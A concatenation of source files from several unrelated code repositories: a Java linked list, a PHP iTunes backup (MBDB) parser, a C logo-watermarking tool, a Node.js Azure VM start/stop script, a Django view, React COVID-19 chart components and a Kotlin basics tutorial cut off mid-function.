return animation.FuncAnimation(fig, frame, interval=1000/30, frames=n_frames, blit=False, repeat=True), fig
# Plot Random Obstacles
def map_plot(ax, obstacles):
# Plot Obstacles
for obs in obstacles:
ax.add_patch(copy(obs))
|
3ee0dc12ec35a8479d32549ea5cdb12818baa332
|
[
"Markdown",
"Python"
] | 10 |
Markdown
|
akhild555/multi_robot_MPC
|
f4c5bb744aa872a73a14c27a77672f42bf580703
|
a37bf9539afd44dad4b6dcf5023d5d6ab3b824ad
|
refs/heads/master
|
<repo_name>ppastram/T1_202010<file_sep>/src/model/data_structures/List.java
/*
*Tomado del código de <NAME> en su libro "Algorithms, Fourth Edition"
*/
package model.data_structures;
import java.util.Iterator;
public class List <T> implements IList <T>
{
private Node<T> list;
private int listSize;
public List ()
{
list = null;
}
public List (T item)
{
list = new Node<T> (item) ;
listSize = 1;
}
public void addFirst (T item)
{
Node <T> newHead = new Node<> (item);
newHead.setNextNode(list);
list = newHead;
listSize++;
}
public void append(T item)
{
Node <T> newNode = new Node<> (item);
if(list == null)
{
list = newNode;
}
else
{
Node <T> actual = list;
while(actual.getNext() != null)
{
actual = actual.getNext();
}
actual.setNextNode(newNode);
}
listSize++;
}
public void removeFirst()
{
list = list.getNext();
}
public void remove(int pos)
{
if(listSize >= 2)
{
Node <T> anterior = list;
Node <T> actual = list;
for (int i = 0; i < pos; i++)
{
anterior = actual;
actual = actual.getNext();
}
anterior.setNextNode( actual.getNext() );
actual = null;
listSize--;
}
}
public T get(String id)
{
Node <T> actual = list;
int ip = Integer.parseInt(id);
for (int i = 0; i < ip; i++)
{
actual = actual.getNext();
}
return (T) actual;
}
public int getSize()
{
return listSize;
}
public boolean isEmpty()
{
if (listSize == 0)
return true;
return false;
}
@Override
public Iterator<T> iterator() {
// TODO Auto-generated method stub
return null;
}
}
<file_sep>/src/view/View.java
package view;
import model.logic.Modelo;
public class View
{
/**
* Metodo constructor
*/
public View()
{
}
public void printMenu()
{
System.out.println("Bienvenido al menú de servicios del sistema de comparendos de Bogotá.");
System.out.println("1. Cargar comparendos y visualizar info sobre el primer y el último comparendos y el número total de estos");
System.out.println("2. Consultar info sobre un comparendo por su ID");
System.out.println();
System.out.println("6. Exit");
System.out.println("Dar el numero de opcion a resolver, luego oprimir tecla Return: (e.g., 1):");
}
public void printMessage(String mensaje) {
System.out.println(mensaje);
}
public void printModelo(Modelo modelo)
{
// TODO implementar
}
}
<file_sep>/README.txt
nombre: <NAME>
semestre: 3º
código: 201822920
|
7560c0fea09f82698eefa1f1834b55711faa7f1e
|
[
"Java",
"Text"
] | 3 |
Java
|
ppastram/T1_202010
|
e1d993899bbfa2bc931e63c86e7636d05061d883
|
d8d84ab9bd56af36907b05ab0f18e180e629e9ed
|
refs/heads/master
|
<repo_name>TheFox/mbdb.php<file_sep>/src/TheFox/Mbdb/Mbdb.php
<?php
namespace TheFox\Mbdb;
use Exception;
use RuntimeException;
class Mbdb
{
const NAME = 'MBDB';
const VERSION = '0.3.0-dev.3';
const LOOP_MAX = 10000;
/**
* @var string
*/
private $filePath = '';
/**
* @var resource
*/
private $fileHandle;
/**
* @var string
*/
private $buffer = '';
/**
* @var int
*/
private $offset = 0;
/**
* @var array
*/
private $records = [];
/**
* Mbdb constructor.
* @param string $filePath
*/
public function __construct(string $filePath = '')
{
if ($filePath) {
$this->read($filePath);
}
}
/**
* @return array
*/
public function getRecords(): array
{
return $this->records;
}
/**
* @param Record $record
* @return Record
*/
private function addRecord(Record $record)
{
$this->records[] = $record;
return $record;
}
/**
* @return string
*/
private function parseStr(): string
{
$len = $this->parseInt16();
$str = '';
if ($len != 0xffff) {
$str = substr($this->buffer, 0, $len);
if ($str !== false) {
$this->buffer = substr($this->buffer, $len);
$this->offset += $len;
}
}
return $str;
}
/**
* @return int
*/
private function parseInt8()
{
$i = unpack('C', $this->buffer[0]);
$this->buffer = substr($this->buffer, 1);
$this->offset += 1;
return $i[1];
}
/**
* @return int
*/
private function parseInt16(): int
{
$i = unpack('n', substr($this->buffer, 0, 2));
$this->buffer = substr($this->buffer, 2);
$this->offset += 2;
return $i[1];
}
/**
* @return int
*/
private function parseInt32(): int
{
$i = unpack('N', substr($this->buffer, 0, 4));
$this->buffer = substr($this->buffer, 4);
$this->offset += 4;
return $i[1];
}
/**
* @return int
*/
private function parseInt64(): int
{
list($higher, $lower) = array_values(unpack('N2', substr($this->buffer, 0, 8)));
$i = ($higher << 32) | $lower;
$this->buffer = substr($this->buffer, 8);
$this->offset += 8;
return $i;
}
/**
* @return bool
*/
public function bufferCheckRead(): bool
{
$bLen = strlen($this->buffer);
if (feof($this->fileHandle)) {
return $bLen > 0;
} else {
if ($bLen < 0xffff) {
$this->buffer .= fread($this->fileHandle, 0xffff);
}
return true;
}
}
/**
* @param string $filePath
* @throws Exception
*/
public function read(string $filePath)
{
$this->filePath = $filePath;
if (!file_exists($this->filePath)) {
throw new Exception('File not found: ' . $filePath);
}
$this->fileHandle = fopen($this->filePath, 'rb');
if (!$this->fileHandle) {
return;
}
$header = fread($this->fileHandle, 6);
if ($header != "mbdb\x05\x00") {
throw new RuntimeException('Bad MBDB signature');
}
$this->offset = 6;
$loops = 0;
$this->buffer = '';
while ($this->bufferCheckRead() && $loops < self::LOOP_MAX) {
$loops++;
// $offsetStart = $this->offset;
$domain = $this->parseStr();
$path = $this->parseStr();
$this->parseStr();
$this->parseStr();
$this->parseStr();
$this->parseInt16();
$this->parseInt32();
$this->parseInt32();
$this->parseInt32();
$this->parseInt32();
$this->parseInt32();
$this->parseInt32();
$this->parseInt32();
$fileSize = $this->parseInt64();
$this->parseInt8();
$propertyCount = $this->parseInt8();
for ($n = $propertyCount; $n > 0; $n--) {
if (!$this->bufferCheckRead()) {
break;
}
$this->parseStr();
if (!$this->bufferCheckRead()) {
break;
}
$this->parseStr();
}
$record = new Record();
$record->setDomain($domain);
$record->setPath($path);
$record->setFileSize($fileSize);
$this->addRecord($record);
}
unset($this->buffer);
fclose($this->fileHandle);
if ($loops == self::LOOP_MAX) {
throw new Exception('Main loop has reached ' . $loops);
}
}
}
<file_sep>/src/TheFox/Mbdb/Record.php
<?php
namespace TheFox\Mbdb;
class Record
{
/**
* @var string
*/
private $domain = '';
/**
* @var string
*/
private $path = '';
/**
* @var string
*/
private $linkTarget = '';
/**
* @var string
*/
private $dataHash = '';
/**
* @var string
*/
private $encryptionKey = '';
/**
* @var int
*/
private $fileSize = 0;
/**
* @var string
*/
private $fileName = '';
/**
* @param string $domain
*/
public function setDomain(string $domain)
{
$this->domain = $domain;
}
/**
* @return string
*/
public function getDomain(): string
{
return $this->domain;
}
/**
* @param string $path
*/
public function setPath(string $path)
{
$this->path = $path;
}
/**
* @return string
*/
public function getPath(): string
{
return $this->path;
}
/**
* @param string $linkTarget
*/
public function setLinkTarget(string $linkTarget)
{
$this->linkTarget = $linkTarget;
}
/**
* @return string
*/
public function getLinkTarget(): string
{
return $this->linkTarget;
}
/**
* @param string $dataHash
*/
public function setDataHash(string $dataHash)
{
$this->dataHash = $dataHash;
}
/**
* @return string
*/
public function getDataHash(): string
{
return $this->dataHash;
}
/**
* @param string $encryptionKey
*/
public function setEncryptionKey(string $encryptionKey)
{
$this->encryptionKey = $encryptionKey;
}
/**
* @return string
*/
public function getEncryptionKey(): string
{
return $this->encryptionKey;
}
/**
* @param int $fileSize
*/
public function setFileSize(int $fileSize)
{
$this->fileSize = $fileSize;
}
/**
* @return int
*/
public function getFileSize(): int
{
return $this->fileSize;
}
/**
* @return string
*/
public function getFileName(): string
{
if (!$this->fileName) {
$this->fileName = sha1($this->getDomain() . '-' . $this->getPath());
}
return $this->fileName;
}
/**
* @return bool
*/
public function isFile(): bool
{
return $this->getFileSize() > 0;
}
}
<file_sep>/CHANGELOG-v0.md
# Release Notes for MBDB.php v0.x
## v0.3.0 [unreleased]
- MIT License
- Remove Travis CI support.
## v0.2.0
- Bugfix: wrong buffer size.
- Check MBDB signature (header).
- Test against PHP 7.1.
- PSR1/PSR2 and DocBlocks.
- Moved Make targets to Bash scripts.
- PHP7 only.
<file_sep>/README.md
# MBDB.php
Read `.mbdb` files using PHP.
The `.mbdb` file extension is associated with the Apple iTunes, the standard manage application for iOS devices. A `.mbdb` file contains a list of files, that are stored in the backup of the iOS device. The MB database was introduced in iTunes 9.2.
## Project Outlines
The project outlines as described in my blog post about [Open Source Software Collaboration](https://blog.fox21.at/2019/02/21/open-source-software-collaboration.html).
- The main purpose of this library is to provide an interface to Apple's MB database format using PHP.
- The features should not go beyond Apple's features and functions. So the features of this software are limited to those of Apple.
- This list is open. Feel free to request features.
## Installation
The preferred method of installation is via [Packagist](https://packagist.org/packages/thefox/mbdb) and [Composer](https://getcomposer.org/). Run the following command to install the package and add it as a requirement to composer.json:
```bash
composer require thefox/mbdb
```
## Links
- [Packagist Package](https://packagist.org/packages/thefox/mbdb)
- [iphonebackupbrowser](https://code.google.com/p/iphonebackupbrowser/wiki/MbdbMbdxFormat)
- [ITunes_Backup](http://theiphonewiki.com/wiki/ITunes_Backup)
|
136ecb71d076ca9afa67eb1fd098f4be7307b15e
|
[
"Markdown",
"PHP"
] | 4 |
PHP
|
TheFox/mbdb.php
|
92a8754250e8b27a9fd2190f8dc4267b9cc63821
|
f11bca802b9e75cac2c438261dd570bbb9eba4ec
|
refs/heads/master
|
<repo_name>priyeshvinove/Covid-Graph<file_sep>/src/Component/GlobalData.js
import React, { useEffect,useState } from 'react'
import {csv} from 'd3';
import { Bar} from 'react-chartjs-2';
const GlobalData=()=>{
const [globalData,setGlobalData]=useState();
const [globalCountry,setGlobalCountry]=useState([]);
const [chartData,setChartData]=useState();
var [dropDownValue,setDropDownValue]=useState("Afghanistan");
var [timeSeriesCovidData,setTimeSeriesCovidData]=useState("time_series_covid19_confirmed_global")
useEffect(()=>{
var tempCountry="";
csv(`https://raw.githubusercontent.com/CSSEGISandData/COVID-19/master/csse_covid_19_data/csse_covid_19_time_series/${timeSeriesCovidData}.csv`)
.then((data)=>{
tempCountry=new Set(data.map((value)=>value["Country/Region"]))
setGlobalData(data);
setGlobalCountry([...tempCountry])
})
},[timeSeriesCovidData])
let filterData='';
globalData && globalData.filter((val)=>{
if(val["Country/Region"]===dropDownValue) {
filterData = val;
}
})
let header=[];
let confirmed=[];
for(var property in filterData)
{
var date=new Date(property);
if(!isNaN(date.valueOf())){
header=[...header,property]
confirmed=[...confirmed,filterData[property]]
}
}
const chart=()=>{
setChartData({
labels: header,
datasets: [
{
label: "Data",
data: confirmed,
backgroundColor: [
'rgb(60, 179, 113)',
],
borderColor: [
'rgba(60, 179, 113, 1)',
],
borderWidth: 1,
}
]
});
}
useEffect(()=>{
chart();
},[dropDownValue])
return (
<div>
<hr/>
<h1 className="text-primary d-flex justify-content-center">Global Covid Data Graph</h1>
<hr/>
<select
className="mt-3 bg-dark text-white w-25 p-2 d-flex m-auto"
onChange={(e) => {
const dropvalue = e.target.value;
setDropDownValue(dropvalue);
}}
>
{globalCountry && globalCountry.map((data,index)=>{
return <option value={data} key={index}>{data}</option>
})}
</select>
<div className="container position-relative">
<select
className="position-absolute right"
onChange={(e) => {
const dropvalue = e.target.value;
setTimeSeriesCovidData(dropvalue)
}}
>
<option value={"time_series_covid19_confirmed_global"} className=" text-dark">Global Confirmed Cases</option>
<option value={"time_series_covid19_recovered_global"} className=" text-dark">Global Recovered Cases</option>
<option value={"time_series_covid19_deaths_global"} className=" text-dark">Global Death Cases</option>
</select>
<Bar data={chartData} height={30} width={100}/>
</div>
</div>
)
}
export default GlobalData;
<file_sep>/src/App.js
import React from 'react';
import './App.css';
import GlobalData from './Component/GlobalData';
import EveryDayData from './Component/EveryDayData';
function App() {
return(
<>
<EveryDayData/>
<GlobalData/>
</>
)
}
export default App;<file_sep>/src/Component/EveryDayData.js
import {React,useState,useEffect} from 'react';
import {Bar} from 'react-chartjs-2'
import { csv } from "d3";
import DatePicker from 'react-datepicker';
import 'react-datepicker/dist/react-datepicker.css'
import Moment from 'moment';
// import CountUp from "react-countup";
const EveryDayData = () => {
const [covidData,setCovidData]=useState();
const [country,setCountry]=useState([]);
const [chartData,setChartData]=useState({});
const [stateValue,setStateValue]=useState([]);
const [dropDownValue,setDropDownValue]=useState("Alabama");
const [altenatDate,setAlternateDate]=useState(new Date());
const [hideGraph,setHideGraph]=useState(false);
const todayDate=new Date('2021-04-05');
const from = Moment(todayDate).format('MM-DD-YYYY').toString();
const [selectedDate, setSelectedDate] = useState(from);
const [stateName,setStateName]=useState();
const [provinceState,setProvinceState]=useState("");
useEffect(() => {
var tempCountry = "";
csv(
`https://raw.githubusercontent.com/CSSEGISandData/COVID-19/master/csse_covid_19_data/csse_covid_19_daily_reports/${selectedDate.toString()}.csv`
).then((data) => {
setHideGraph(false)
setCovidData(data);
tempCountry = new Set(data.map((d) => d.Country_Region));
setCountry([...tempCountry]);
})
.catch((err) => {console.log("Error",{err})
setHideGraph(true)
});
}, [selectedDate]);
const chart=()=>{
setChartData({
labels: ["Confirmed","Death","Active","Recovered"],
datasets: [
{
label: "Data",
data: stateValue,
backgroundColor: [
'rgb(60, 179, 113)',
'rgb(255, 0, 0)',
'rgb(255, 165, 0)',
'rgb(106, 90, 205)'
],
borderColor: [
'rgba(60, 179, 113, 1)',
'rgba(255, 0, 0, 1)',
'rgba(255, 206, 86, 1)',
],
borderWidth: 1,
}
]
});
}
useEffect(()=>{
chart();
},[stateValue,provinceState])
useEffect(()=>{
covidData&& covidData.forEach((val)=>{
if(val.Country_Region===dropDownValue) {
let filterData = covidData.filter(
(data) => data.Country_Region === dropDownValue
);
setStateName(filterData);
setStateValue([parseInt(val.Confirmed),parseInt(val.Deaths),parseInt(val.Active),parseInt(val.Recovered)])
}
})
},[dropDownValue,selectedDate,provinceState])
useEffect(()=>{
stateName&& stateName.map((val)=>{
if(val.Province_State===provinceState){
setStateValue([parseInt(val.Confirmed),parseInt(val.Deaths),parseInt(val.Active),parseInt(val.Recovered)])
}
})
},[provinceState,dropDownValue,selectedDate])
return (
<div className="App">
<hr/>
<h1 className="text-info">Daily Covid Data Graph</h1>
<hr/>
<h1><span className="text-danger"><u>{dropDownValue}</u></span> Covid Data {altenatDate &&altenatDate.toDateString()}</h1>
<DatePicker
selected={altenatDate}
onChange={date => {
setSelectedDate(Moment(date).format('MM-DD-YYYY'))
setAlternateDate(date)
}
}
dateFormat='MM-dd-yyyy'
maxDate={new Date()}
className="text-danger"
/>
<br/>
<select
className="mt-3 bg-dark text-white w-25 p-2"
onChange={(e) => {
const dropvalue = e.target.value;
setDropDownValue(dropvalue);
}} >
{country&& country.map((val,index)=>{
return(
<option value={val} key={index}>{val}</option>
)
})}
</select>
{stateName&&stateName.length===1?"":
<select className="mt-3 bg-dark text-white w-25 p-2"
onChange={(e) => {
const dropvalue = e.target.value;
setProvinceState(dropDownValue);
}}
>
{stateName&& stateName.map((val,index)=>{
return(
<option value={val.Province_State} key={index}>{val.Province_State}</option>
)
})}
</select>}
{hideGraph?<><h1>No data Available for Date {selectedDate}</h1>
</>: <>
<div className="container">
<div class="row mt-2 mb-2">
<div class="col-sm-3">
<div class="card bg-primary">
<div class="card-body">
<h5 class="card-title">Confirmed</h5>
<p className="card-text text-white">{stateValue[0] && stateValue[0]}</p>
</div>
</div>
</div>
<div class="col-sm-3">
<div class="card bg-danger">
<div class="card-body">
<h5 class="card-title">Death</h5>
<p className="card-text text-white">{stateValue[1] && stateValue[1]}</p>
</div>
</div>
</div>
<div class="col-sm-3">
<div class="card bg-success">
<div class="card-body">
<h5 class="card-title">Active</h5>
<p className="card-text text-white">{stateValue[2] && stateValue[2]}</p>
</div>
</div>
</div>
<div class="col-sm-3">
<div class="card bg-success">
<div class="card-body bg-info">
<h5 class="card-title">Recovered</h5>
<p className="card-text text-white">{stateValue[3] && stateValue[3]}</p>
</div>
</div>
</div>
</div>
</div>
<div className="container mb-4">
<Bar data={chartData} height={25} width={100} />
</div>
</>
}
</div>
);
}
export default EveryDayData
|
2d312304cf10c7ead323c3f441c21a131ee02db0
|
[
"JavaScript"
] | 3 |
JavaScript
|
priyeshvinove/Covid-Graph
|
d08c855a81c06c08ad2c70782c11ccf12c5ce012
|
f6b175b7b926b3f62dea9ada2b5632b603dfccae
|
refs/heads/master
|
<repo_name>halilov2020/LogoToImage<file_sep>/README.md
# LogoToImage
This program used to simplify annoying work like put the same logo or watermark to huge amount of different images.
<file_sep>/LogoToImage/LogoToImage.c
#pragma warning(disable:4996)
#include <stdio.h>
#include <stdlib.h>
#include <dirent.h>
#include "gd.h"
int entity(gdImagePtr pLogo, char nameInFoto[50], char nameOutFoto[50], char pathIn[50], char pathOut[50], float borderPer, float logoScalePer) {
char pathIN[50];
strcpy(pathIN, pathIn);
char pathOUT[50];
strcpy(pathOUT, pathOut);
FILE* inFoto;
strcat(pathIN, nameInFoto);
printf("%s\n", pathIN);
inFoto = fopen(pathIN, "rb");
FILE* out;
strcat(pathOUT, nameOutFoto);
printf("%s\n", pathOUT);
out = fopen(pathOUT, "wb");
gdImagePtr pFoto = gdImageCreateFromJpegEx(inFoto, GD_TRUE);
gdImagePtr pOut = gdImageClone(pFoto);
gdImageDestroy(pFoto);
float logoX = gdImageSX(pLogo);
float logoY = gdImageSY(pLogo);
float outX = gdImageSX(pOut);
float outY = gdImageSY(pOut);
float border = (outX * borderPer / 100 + outY * borderPer / 100) / 2;
float logoScale = min(outX, outY) * logoScalePer / 100;
float x;
if (outY < outX) {
x = logoScale / logoY;
}
else {
x = logoScale / logoX;
}
float dstX = border;
float dstY = outY - border - logoY * x;
float dstW = logoX * x;
float dstH = logoY * x;
gdImageCopyResized(pOut, pLogo, dstX, dstY, 0, 0, dstW, dstH, logoX, logoY);
gdImageJpeg(pOut, out, -1);
gdImageDestroy(pOut);
return 0;
}
int main() {
char pathin[100];
char pathout[100];
char logoPath[100];
char format[10];
float borderPer;
float logoScalePer;
printf("!!!!!!!!!!!!!!!!!!!!!!!!!!!WARNING!!!!!!!!!!!!!!!!!!!!!!\n");
printf("!!!!ALL PATHS SHOULD USE SLASH - / not BACKSLASH - \\!!!!\n");
printf("Full path to the folder with input files(ended with / ): ");
scanf("%s", &pathin);
printf("Format of input files(.jpg, .JPG): ");
scanf("%s", &format);
printf("Full path to the folder with output files (ended with / ): ");
scanf("%s", &pathout);
printf("Full path to the logo file(ended with .png): ");
scanf("%s", &logoPath);
printf("Borders of logo in final foto (in percent): ");
scanf("%f", &borderPer);
printf("Logo scale relative to final foto (in percent): ");
scanf("%f", &logoScalePer);
FILE* inLogo;
inLogo = fopen(logoPath, "rb");
gdImagePtr pLogo = gdImageCreateFromPng(inLogo);
int numOfFiles = 0;
DIR* dir;
struct dirent* ent;
if ((dir = opendir(pathin)) != NULL) {
while ((ent = readdir(dir)) != NULL) {
if (strstr(ent->d_name, format)) {
printf("%i.)%s\n", numOfFiles + 1, ent->d_name);
entity(pLogo, ent->d_name, ent->d_name, pathin, pathout, borderPer, logoScalePer);
numOfFiles++;
}
}
closedir(dir);
}
else {
perror("We can't open the directory!");
return EXIT_FAILURE;
}
printf("Finished!!!Processed %i images!", numOfFiles);
}
|
cae5da9fa6c261ae533128cb65d08fd5036cf04c
|
[
"Markdown",
"C"
] | 2 |
Markdown
|
halilov2020/LogoToImage
|
5fe4d212947270b79e49ba192f4365870f7375a5
|
170fa33f3c915f7b2b793ee187f645812b74bc59
|
refs/heads/master
|
<file_sep>var Azure = require('azure');
var msRestAzure = require('ms-rest-azure');
var util = require('util');
var computeManagementClient = require('azure-arm-compute');
var AZURE_USER = '<EMAIL>';
var AZURE_PASS = '<PASSWORD>';
var SUBSCRIPTION_ID = 'abb8a257-30cb-4b25-9cb5-de7bbc0f39dc';
var computeClient;
var resourceGroupName = 'RG-testvm';
var vmName = 'customtestvm2';
function getVM(cb) {
var options = {
expand: 'instanceView'
}
computeClient.virtualMachines.get(resourceGroupName, vmName, options, function(err, result) {
if (err) {
console.log(err);
cb(err);
} else {
//console.log('VM Get: ', JSON.stringify(result));
console.log('VM Get: ', result.instanceView.statuses);
cb(null, result);
}
});
}
function listVM(cb) {
computeClient.virtualMachines.list(resourceGroupName, function(err, result) {
if (err) {
console.log(err);
cb(err);
} else {
console.log('VM List: ', result);
cb(null, result);
}
});
}
function getStatusForAll(cb) {
computeClient.virtualMachines.listAll(function(err, result, request, response) {
if (err) {
console.log(err);
cb(err);
} else {
console.log('ALL VMs: ', result);
cb(null, result);
}
});
}
function startVM(cb) {
computeClient.virtualMachines.start(resourceGroupName, vmName, function(err, result) {
if (err) {
console.log(err);
cb(err);
} else {
console.log('VM Started: ', result);
cb(null, result);
}
});
}
function stopVM(cb) {
computeClient.virtualMachines.powerOff(resourceGroupName, vmName, function(err, result) {
if (err) {
console.log(err);
cb(err);
} else {
console.log('VM Stopped: ', result);
cb(null, result);
}
});
}
function deallocateVM(cb) {
computeClient.virtualMachines.deallocate(resourceGroupName, vmName, function(err, result) {
if (err) {
console.log(err);
cb(err);
} else {
console.log('VM Deallocated: ', result);
cb(null, result);
}
});
}
/* ERROR:
Error: Failed to acquire token for the user.
Error: Get Token request returned http error: 400 and server response: {"error":"invalid_grant","error_description":"AADSTS50034: To sign into this application the account must be added to the dsbconsulting.net directory.\r\nTrace ID: 90280a3e-5570-4d63-a577-f995bdedddc7\r\nCorrelation ID: 695bc84e-d496-4cfd-a972-a6014bad3c7f\r\nTimestamp: 2017-02-10 18:52:35Z","error_codes":[50034],"timestamp":"2017-02-10 18:52:35Z","trace_id":"90280a3e-5570-4d63-a577-f995bdedddc7","correlation_id":"695bc84e-d496-4cfd-a972-a6014bad3c7f"}
*/
msRestAzure.loginWithUsernamePassword(AZURE_USER, AZURE_PASS, function(err, credentials) {
var START = false;
var STOP = !START;
if (err) throw err;
console.log('Auth Success!');
computeClient = new computeManagementClient(credentials, SUBSCRIPTION_ID);
if (START) {
startVM(function(err, result) {
console.log('VM Start Done');
})
}
if (STOP) {
stopVM(function(err, result) {
console.log('VM stop Done');
deallocateVM(function(err, result) {
console.log('Deallcoate Done');
})
});
}
setInterval(function() {
getVM(function(err, result) {
});
}, 5000);
/*
stopVM(function(err, result) {
if (err) {
console.log(err);
return false;
}
console.log('VM Stopped Done');
deallocateVM(function(err, result) {
console.log('VM Deallocate Done');
});
});
*/
});
|
14bc70f3370b1de0fb9d3278d9fdc539ae0e9d5a
|
[
"JavaScript"
] | 1 |
JavaScript
|
BebopTechnology/azure-sdk-test
|
71cb166ed051e76d0c26ba1425166b99f83888b9
|
f867c561ef14b1da7763e9791e366eb00613c8b4
|
refs/heads/main
|
<file_sep>from django.shortcuts import render
from django.http import HttpResponse
from django.views.generic import TemplateView
class PaginaInicio(TemplateView):
template_name = 'home.html'
class PaginaAbout(TemplateView):
template_name= 'about.html'
<file_sep>from django.urls import path
from .views import PaginaAbout, PaginaInicio
urlpatterns=[
path('', PaginaInicio.as_view(), name='home'),
path('about/', PaginaAbout.as_view(),name="about"),
]
|
807ca4b1ce1d83b50a815e7ef4839ca884dcf89a
|
[
"Python"
] | 2 |
Python
|
Shadowrunner11/django
|
fd99b302bd826edd1b99f8898dd0c8ac056f520b
|
76cdddc6eecc41144c9414a3816c5b0ea4658efa
|
refs/heads/master
|
<repo_name>anoop4real/KotlinBasics<file_sep>/app/src/main/java/com/example/anoopmohanan/kotlinbasics/MainActivity.kt
package com.example.anoopmohanan.kotlinbasics
import android.app.Fragment
import android.support.v7.app.AppCompatActivity
import android.os.Bundle
import android.util.Log
import android.widget.Toast
import java.lang.Math.random
import java.time.Duration
import java.util.*
import kotlin.collections.ArrayList
class MainActivity : AppCompatActivity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContentView(R.layout.activity_main)
// random1 has a value assigned at compile time, and the value never changes when the variable is accessed.
// random2 has a lambda assigned at compile time, and the lambda is executed every time the variable is referenced, returning a different value.
val random = random()
val random2 = { random() }
//createSpice()
//variables()
//nullSafetyFun()
//conditions()
//loops()
//typeCheck("Hello","Hello b")
//collections()
//setSample()
//nullableTest()
whatShouldIDoToday("sad")
var rev = reverseName("hello") { data ->
data.reversed()
}
val(name:String, age: Int) = Mydata("Don",45)
// val vehicle = Vehicle("red",4)
// Log.i("Kotlin", "Vehicle color is ${vehicle.color}")
// vehicle.numberofWheels = 5
// //vehicle = Vehicle("black",6)
//
// val car = Car("blue", numberofWheels = 4)
// Log.i("Kotlin", "Car color is ${car.color}")
//
// val car1 = Car1("red", 4)
// Log.i("Kotlin", "Car1 color is ${car1.color}")
// Log.i("Kotlin", "Car1 color is ${car1.whoAMI}")
// car1.startEngine()
//
// val bike1 = Bike1("red", 2)
// Log.i("Kotlin", "bike1 color is ${bike1.color}")
// Log.i("Kotlin", "bike1 color is ${bike1.whoAMI}")
// bike1.startEngine()
//
//
// val car2 = Car2("red", 4)
// car2.startEngine()
//
// val bike2 = Bike2("red", 2)
// bike2.startEngine()
//
// val gen1 = Generic<String>("Hello")
// Log.i("Kotlin", "Genric value is ${gen1.content}")
//
// val gen2 = Generic<Int>(5)
// Log.i("Kotlin", "Genric value is ${gen2.content}")
}
// Variables
fun variables() {
// Mutable
// Kotlin infers the type
var text = "hello" // Inferred as String
Log.i("Kotlin", text)
var number = 5.45 // Inferred as Double
var number2: Float =
5.45f// Gives error as by default decimals are interpretted as double. To fix it you need to append "f"
// Explicit Typing
var message: String = "hello"
// Modify
text = "I am modified"
Log.i("Kotlin", text)
// Constants
val constantText = "Hello"
//constantText = "I am modified" // Gives error
}
fun pairs(){
// Pairs
val weapn = "Gun" to "Fire"
print(weapn.first)
print(weapn.second)
val (weaponName, use) = weapn
print(weaponName)
print(use)
}
fun giveMeAWeapon():Pair<String, String>{
val weapn = "Gun" to "Fire"
return weapn
}
fun whatShouldIDoToday(mood: String, weather: String = "Sunny", temperature: Int = 24): String {
return when {
mood == "happy" && weather == "Sunny" -> "go for a walk"
mood == "happy" && weather == "rainy" -> "take an umbrella"
mood == "sad" && weather == "rainy" && temperature == 0 -> "stay in bed"
temperature > 35 -> "go swimming"
else -> "Stay home and read."
}
}
fun filters() {
var listOfNames = listOf("David", "Marx", "Kuttappan", "Don", "Maju")
print(listOfNames.filter { it[0] == 'D' })
val filtered = listOfNames.asSequence().filter { it[0] == 'D' }
print(filtered)
print(filtered.toList())
val lazyMap = listOfNames.asSequence().map {
print("map: $it")
it
}
print(lazyMap)
print(lazyMap.toList())
val spices =
listOf("curry", "pepper", "cayenne", "ginger", "red curry", "green curry", "red pepper")
val filteredCurries = spices.filter { it.contains("curry") }.sortedBy { it.length }
print(filteredCurries)
val filteredSpices =
spices.filter { !it.contains("curry") && it.startsWith('c') && it.endsWith('e') }
val filteredSpices2 =
spices.filter { !it.contains("curry") && it.first() == 'c' && it.last() == 'e' }
print(filteredSpices)
print(filteredSpices2)
val change = { isDirty: Boolean ->
if (isDirty) {
print("dirty")
} else {
print("not dirty")
}
}
change(true)
}
// Data Classes
data class Mydata(val name: String, val age:Int){
}
// Function which takes lambda as parameter
fun reverseName(name: String, reverser: (String) -> String): String {
return reverser(name)
}
fun multilineStrings() {
val multString = """
This is fulltime
multiline string
"""
}
val rollDiceA = { Random().nextInt(12) + 1}
val rollDice = { sides: Int ->
Random().nextInt(sides) + 1
}
val rollDice0 = { sides: Int ->
if (sides == 0) 0
else Random().nextInt(sides) + 1
}
val rollDice2: (Int) -> Int = { sides ->
if (sides == 0) 0
else Random().nextInt(sides) + 1
}
fun nullSafetyFun() {
// System has a possibility to identify which value can be null or not
//var text: String = null // Not allowed
var text2: String? = null // This means text2 can hold null values
// To safely access use ?
Log.i("Kotlin", text2?.length.toString())
// If you are really sure that text2 has values, then read the value with force using !!
var text3: String? = null
// use !!
//Log.i("Kotlin",text3!!.length.toString()) // Like forced unwrapping in swift, this may lead to null pointer exception
// If the expression on the left of ?: is valid, then return it else send the value on right hand side
val len = text2?.length ?: 0
Log.i("Kotlin", len.toString())
}
fun maps() {
val mymap = emptyMap<String, String>() // empty readonly map
val anothermymap = mapOf<String, String>() // another empty readonly map
val contentMap = mapOf("Don" to "First Name", "Bosco" to "LastName")
val mutableMap = mutableMapOf("First Name" to "Don", "LastName" to "Bosco")
mutableMap.put("name", "Batista")
mutableMap.filter { it.value == "Don" }
}
fun nullableTest() {
var str: String? = null
//str = "David"
val hello = str?.let { sayHello(it) } ?: "Undefined"
Log.i("Kotlin", hello)
}
fun sayHello(name: String): String {
return "Hello $name"
}
fun getColorFor(color: String): Int {
return when (color) {
"Red" -> 0
"Green" -> 1
"Blue" -> 2
else -> throw IllegalArgumentException("Invalid color param value")
}
}
fun helloColor() {
val color = try {
getColorFor("Red")
} catch (e: IllegalArgumentException) {
Log.i("Kotlin", e.localizedMessage)
}
}
fun conditions() {
// IF
val threshold = 200
if (threshold < 100) {
Log.i("Kotlin", "its good")
println("its good")
} else if (threshold > 100) {
Log.i("Kotlin", "need to worry")
println("need to worry")
} else if (threshold > 200) {
Log.i("Kotlin", "reached maximum")
println("reached maximum")
}
// WHEN
val state: Int = 1
when (state) {
1 -> Log.i("Kotlin", "State is Running.")
2 -> {
// if there is multiple lines, use curly braces
Log.i("Kotlin", "State is Stopped.")
}
// Any unsatisfied state
else -> Log.i("Kotlin", "State is Unknown.")
}
}
fun loops() {
// for loop
var total = 0
// Loop numbers 1 to 5, find their sum
for (i in 1..5) {
Log.i("Kotlin", "$i")
total = total + i
}
Log.i("Kotlin", "Total is $total")
// Normal Iteration
for (i in 1..5)
Log.i("Kotlin", "Normal Iteration $i")
// Iterate revers
for (i in 5 downTo 1)
Log.i("Kotlin", "Reverse iteration $i")
// Iterate with step
for (i in 1..5 step 2)
Log.i("Kotlin", "Step Iteration $i")
// Exclude Iteration
